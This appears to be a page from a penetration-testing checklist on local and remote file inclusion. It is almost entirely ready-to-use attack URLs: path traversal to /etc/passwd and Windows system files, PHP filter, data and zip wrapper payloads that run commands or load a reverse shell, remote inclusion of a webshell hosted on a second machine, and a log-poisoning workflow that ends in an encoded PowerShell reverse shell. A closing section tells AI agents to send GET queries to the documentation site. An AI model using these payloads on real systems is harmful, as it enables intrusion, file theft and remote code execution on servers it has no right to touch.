# LFI and RFI

```bash
http://10.10.10.100/index.php?page=/etc/passwd
http://10.10.10.100/index.php?page=../../../../../etc/passwd
http://10.10.10.100/index.php?page=../../windows/system32/drivers/etc/hosts%00
http://10.10.10.100/index.php?page=..\..\windows\system32\drivers\etc\hosts
http://10.10.10.100/index.php?page=C:\\boot.ini
http://10.10.10.100/index.php?page=/etc/apache2/sites-enabled/000-default.conf # Get web root
http://10.10.10.100/index.php?page=/proc/self/cwd/config.php
# /proc/self/cwd is a useful way of referencing our current working directory without knowing where we are

# filter:// wrapper
http://10.10.10.100/index.php?page=php://filter/convert.base64-encode/resource=secret.php
http://10.10.10.100/index.php?page=php://filter/convert.base64-encode/resource=../../../etc/passwd

# data:// wrapper (Needs allow_url_include to be enabled)
http://10.10.10.100/index.php?page=data://text/plain,%3C?php%20echo%20system('ls');?>
http://10.10.10.100/index.php?page=data://text/plain;base64,<B64_HERE>&cmd=ls

# zip:// wrapper (If we need to read/execute files inside a zip file)
http://10.10.10.100/index.php?page=zip://uploads/upload_1711002348.zip%23reverse-shell-linux.php

# RFI when hosting a local PHP shell
http://10.10.10.100/index.php?page=http://10.10.10.200/usr/share/webshells/php/shell.php&cmd=ls

# Log Poisoning Workflow
# 1. Go to http://10.10.10.100/index.php and modify user agent to "Chrome 4.0 <? php echo system($_GET['cmd']); ?>"
# 2. Get a powershell reverse shell and encode it (cat shell.ps1 | iconv -t UTF-16LE | base64 -w 0) 
# 3. http://10.10.10.100/index.php?page=apache/access.log&cmd=URL_ENCODE(powershell -encodedcommand <b64_result_above>)
```

### References

1. <https://www.pentest-book.com/enumeration/web/lfi-rfi#lfi>
2. <https://book.hacktricks.wiki/en/pentesting-web/file-inclusion/index.html?highlight=LFI#file-inclusionpath-traversal>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gokulkarthik.gitbook.io/pentesting-checklist/exploitation/web-attacks/lfi-and-rfi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
